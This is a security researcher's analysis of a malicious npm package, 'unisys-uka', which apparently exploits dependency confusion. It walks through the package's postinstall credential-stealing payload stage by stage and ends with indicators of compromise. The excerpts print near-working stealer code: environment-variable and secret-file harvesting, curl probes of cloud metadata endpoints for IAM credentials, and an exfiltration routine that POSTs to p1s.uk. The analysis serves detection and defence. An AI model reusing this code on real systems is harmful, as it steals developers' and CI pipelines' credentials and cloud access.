unisys-uka - Credential and File Theft RAT
Package using Unisys-style naming. unisys-uka sits in the same namespace as the five recon packages in unisys-core but contains an entirely different, vastly more destructive payload. Version 99.99.1 is an artificially inflated version number designed to win semver resolution against pinned internal packages. index.js is a stub; all malicious logic runs from postinstall.js via the postinstall lifecycle hook. The payload is a four-stage RAT: it harvests targeted environment variables (full values for 25+ credential keyword patterns), reads 40+ specific files across Linux, macOS, and Windows (SSH private keys, AWS credentials, Docker credentials, .npmrc auth tokens, PyPI credentials, Kubernetes service account JWTs, shell history, Chrome Login Data, GCP credential databases, kubeconfig), executes shell reconnaissance commands and probes AWS and GCP IMDS endpoints for IAM role credentials, then exfiltrates the complete payload via HTTPS POST to p1s.uk with an HTTP port-80 fallback. A User-Agent of npm/9 blends the exfiltration traffic with standard npm registry requests. In a CI/CD pipeline a single install yields all pipeline secrets, cloud IAM credentials, npm tokens, Docker credentials, SSH keys, and the Kubernetes service account JWT. The uka suffix likely refers to Unisys Knowledge Architecture.
Package
unisys-uka
99.99.1
elitevishalorg
vishalkumarrpvv@gmail.com
Threat Actor
UnknownTags
Architecture and Trigger
The package declares a postinstall lifecycle hook pointing to postinstall.js. index.js is a stub. The payload is structured as four functions — sysInfo(), readFiles(home), runCommands(), and send(data) — called from a single try/catch main block that swallows all errors silently. This architecture ensures that a partial failure in any stage (e.g. a permission error reading a file) does not abort subsequent stages — all four functions run to completion or fail quietly.
package.json — postinstall hook
{
"name": "unisys-uka",
"version": "99.99.1",
"description": "Internal package",
"scripts": { "postinstall": "node postinstall.js" },
"author": "",
"license": "ISC"
}
postinstall.js — main execution block
try {
const info = sysInfo(); // env vars, user info, platform details
const home = info.user?.home || os.homedir() || '';
info.files = readFiles(home); // 40+ specific files including SSH keys
info.cmds = runCommands(); // shell recon + IMDS probes
send(info); // POST everything to p1s.uk
} catch (_) {}
Stage 1 — Environment Variable Harvesting
sysInfo() iterates all environment variable keys and captures the full value for any key whose lowercased name matches one of 25 credential-related substrings. This is a targeted harvest, not a blanket dump — the attacker receives only high-value variables while keeping the payload size manageable. A second pass always captures a fixed list of well-known environment variables regardless of name matching. The full list of all key names is also sent as env_all_keys, giving the attacker visibility into what is configured even for variables whose values were not captured.
sysInfo() — targeted environment variable capture
// Targeted keywords — full value captured for any matching key name:
const targetedKeywords = [
'password', 'passwd', 'api', 'auth', 'credential', 'aws', 'gcp', 'azure',
'npm', 'docker', 'github', 'gitlab', 'ci', 'deploy', 'private', 'database',
'db_', '_db', 'slack', 'webhook', 'jwt', 'mongo', 'redis', 'postgres',
'mysql', 'dsn', 'url'
];
// Always captured regardless of name:
const alwaysCaptured = [
'PATH', 'HOME', 'USER', 'LOGNAME', 'SHELL', 'PWD', 'OLDPWD',
'CI', 'GITHUB_ACTIONS', 'GITLAB_CI', 'JENKINS_URL',
'CIRCLE_SHA1', 'TRAVIS', 'BUILD_ID'
];
info.env = interesting; // full values for matched variables
info.env_all_keys = keys; // all env var names sent even if values not matched
Stage 2 — File System Theft
readFiles(home) builds a target list across three operating system branches and reads each file, capping at 8KB per file. The Linux/macOS target list includes all three SSH private key formats (RSA, Ed25519, ECDSA), authorized_keys, known_hosts, AWS credentials and config, .npmrc, .pypirc, Docker config.json, .gitconfig, .env, shell history files for both bash and zsh, root's SSH keys and AWS credentials, common .env paths inside containerised apps (/app/.env, /var/app/.env), and the Kubernetes service account JWT at both standard mount paths. macOS adds GCP credential database and application default credentials, Chrome Login Data (saved passwords), and kubeconfig. Windows targets the same credential files under USERPROFILE and APPDATA, Administrator's home directory, IIS .env, and Docker Desktop config. A CWD scan always runs regardless of OS — catching .env, .env.local, .env.production, .env.development, config.json, secrets.json, and .secrets in the project directory where npm install was invoked.
readFiles() — targeted file paths (Linux/macOS subset)
const linuxPaths = [
'/etc/passwd', '/etc/hostname', '/etc/hosts', '/etc/resolv.conf',
'/etc/os-release', '/proc/version', '/proc/self/environ',
'/proc/self/cmdline', '/proc/1/cmdline',
home + '/.ssh/id_rsa', // RSA private key
home + '/.ssh/id_ed25519', // Ed25519 private key
home + '/.ssh/id_ecdsa', // ECDSA private key
home + '/.ssh/authorized_keys',
home + '/.ssh/known_hosts',
home + '/.aws/credentials', // AWS access + secret keys
home + '/.aws/config',
home + '/.npmrc', // npm auth tokens
home + '/.pypirc', // PyPI credentials
home + '/.docker/config.json', // Docker registry credentials
home + '/.gitconfig',
home + '/.env',
home + '/.bash_history', home + '/.zsh_history',
'/root/.ssh/id_rsa', '/root/.ssh/authorized_keys',
'/root/.aws/credentials',
'/app/.env', '/app/.env.local', '/app/.env.production',
'/var/app/.env', '/etc/environment',
'/run/secrets/kubernetes.io/serviceaccount/token',
'/var/run/secrets/kubernetes.io/serviceaccount/token',
];
const macPaths = [
home + '/.config/gcloud/credentials.db',
home + '/.config/gcloud/application_default_credentials.json',
home + '/Library/Application Support/Google/Chrome/Default/Login Data',
home + '/.kube/config',
];
Stage 3 — Shell Recon and Cloud IMDS Probes
runCommands() executes a list of shell commands using execSync with a 4096-byte output cap per command. Standard recon commands (id, hostname, ip addr, netstat, ps aux, ls ~, ls /, groups, uname -a, df -h, env) build a complete picture of the victim machine. The most dangerous commands are the cloud metadata service probes: unauthenticated requests to the AWS IMDS and GCP metadata endpoints. On an EC2 instance, the IAM endpoint returns the name of the attached instance role; a follow-up request to /latest/meta-data/iam/security-credentials/{role-name} returns temporary AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN — full temporary cloud credentials without any stored secret. The same applies to GCP. The Kubernetes token read duplicates the file-based collection in Stage 2 via shell, ensuring coverage if the file read was permission-blocked. On Windows, equivalent commands (whoami, hostname, ipconfig /all, netstat -ano, set, dir C:\Users) are used.
runCommands() — shell recon and IMDS probes
const targets = [
['id', 'id'],
['hostname', 'hostname'],
['ifconfig', 'ip addr 2>/dev/null || ifconfig 2>/dev/null'],
['netstat', 'netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null'],
['ps', 'ps aux 2>/dev/null | head -30'],
['ls_home', 'ls -la ~ 2>/dev/null'],
['ls_root', 'ls -la / 2>/dev/null'],
['groups', 'groups 2>/dev/null'],
['uname', 'uname -a 2>/dev/null'],
['df', 'df -h 2>/dev/null'],
['env', 'env 2>/dev/null'],
// Cloud metadata service probes — return IAM role names and temporary credentials
['aws_meta', 'curl -sf --max-time 2 http://169.254.169.254/latest/meta-data/ 2>/dev/null || true'],
['aws_iam', 'curl -sf --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true'],
['gcp_meta', 'curl -sf --max-time 2 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/ 2>/dev/null || true'],
['k8s_token','cat /run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || true'],
['docker_ps','docker ps 2>/dev/null || true'],
['npm_config','npm config list 2>/dev/null | head -20'],
];
Stage 4 — Exfiltration
send(data) POSTs the complete collected payload as JSON to p1s.uk:443/dep-confusion/unisys-uka/full. The User-Agent is set to npm/9 (derived from npm_config_user_agent) to blend the outbound request with standard npm registry traffic. rejectUnauthorized: false allows a self-signed cert on the C2. If the HTTPS request fails for any reason, the error handler fires an identical HTTP request on port 80 — increasing success rate in environments that permit HTTP but block HTTPS, or where the C2's TLS certificate causes a hard failure despite the rejectUnauthorized override. Errors on both channels are silently discarded.
send() — HTTPS primary with HTTP port-80 fallback
function send(data) {
const body = Buffer.from(JSON.stringify(data));
const opts = {
hostname: 'p1s.uk',
path: '/dep-confusion/' + encodeURIComponent(PKG) + '/full',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'User-Agent': 'npm/' + (process.env.npm_config_user_agent || '9'), // blends with npm traffic
},
rejectUnauthorized: false,
timeout: 12000,
};
const req = https.request({ ...opts, port: 443 }, () => {});
req.on('error', () => {
// HTTP port-80 fallback if HTTPS fails
const req2 = http.request({ ...opts, port: 80 }, () => {});
req2.on('error', () => {});
req2.write(body); req2.end();
});
req.write(body); req.end();
}
Indicators of Compromise
Malicious Packages
| Package | Version | Author | Notes |
|---|---|---|---|
| unisys-uka | 99.99.1 | RAT; postinstall hook; four-stage payload: env harvesting, file theft (40+ paths), shell recon, IMDS probes. Likely same threat actor as unisys-core — same C2, same naming namespace, same version strategy. |
Domains
| Domain | Type | Context |
|---|---|---|
| p1s[.]uk | C2 | Full payload exfiltration target — receives env vars, file contents, shell command output, and IMDS responses; shared with arlo-meeting-assistant-backend and unisys-core |
URLs
| URL | Context |
|---|---|
| hxxps://p1s[.]uk/dep-confusion/unisys-uka/full | Primary exfiltration endpoint — HTTPS POST with complete RAT payload |
| hxxp://p1s[.]uk/dep-confusion/unisys-uka/full | Fallback exfiltration endpoint — HTTP port 80, fires if HTTPS request fails |
| hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/ | AWS IMDS IAM endpoint — probed to obtain temporary EC2 instance role credentials |
| hxxp://metadata.google.internal/computeMetadata/v1/instance/ | GCP metadata endpoint — probed to obtain GCP instance identity and credentials |
Targeted File Paths
| Path | Context |
|---|---|
| ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa | SSH private keys — all three formats targeted; exfiltrated if readable |
| ~/.aws/credentials | AWS access key ID and secret access key |
| ~/.npmrc | npm auth tokens — may contain _authToken entries for private registries |
| ~/.pypirc | PyPI credentials |
| ~/.docker/config.json | Docker registry credentials including auths entries |
| ~/.bash_history, ~/.zsh_history | Shell history — may contain credentials passed as command-line arguments |
| /proc/self/environ | Process environment block — may contain secrets not present in process.env at install time |
| /run/secrets/kubernetes.io/serviceaccount/token | Kubernetes service account JWT — targeted at both standard K8s mount paths |
| ~/.config/gcloud/credentials.db, ~/.config/gcloud/application_default_credentials.json | GCP credentials — targeted on macOS |
| ~/Library/Application Support/Google/Chrome/Default/Login Data | Chrome saved passwords SQLite database — targeted on macOS |
| ~/.kube/config | kubeconfig — contains cluster credentials and context; targeted on macOS |
| .env, .env.local, .env.production, .env.development, config.json, secrets.json, .secrets | CWD scan — always executed regardless of OS; catches project secrets in the install directory |
Environment Variables / Config Paths
| Artefact | Context |
|---|---|
| AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN | Full values captured — cloud infrastructure access |
| GITHUB_TOKEN / GITLAB_CI / JENKINS_URL | Full values captured — CI/CD pipeline credentials and context |
| DATABASE_URL / *_DB / DB_* / *MONGO* / *REDIS* / *POSTGRES* / *MYSQL* / *DSN* | Full values captured — database connection strings |
| NPM_TOKEN / *NPM* / *DOCKER* / *WEBHOOK* / *JWT* | Full values captured — registry auth tokens, webhook secrets, session tokens |
| * (all matching 25 credential keyword patterns) | Full values exfiltrated for any env var whose name matches a credential keyword; all key names sent regardless |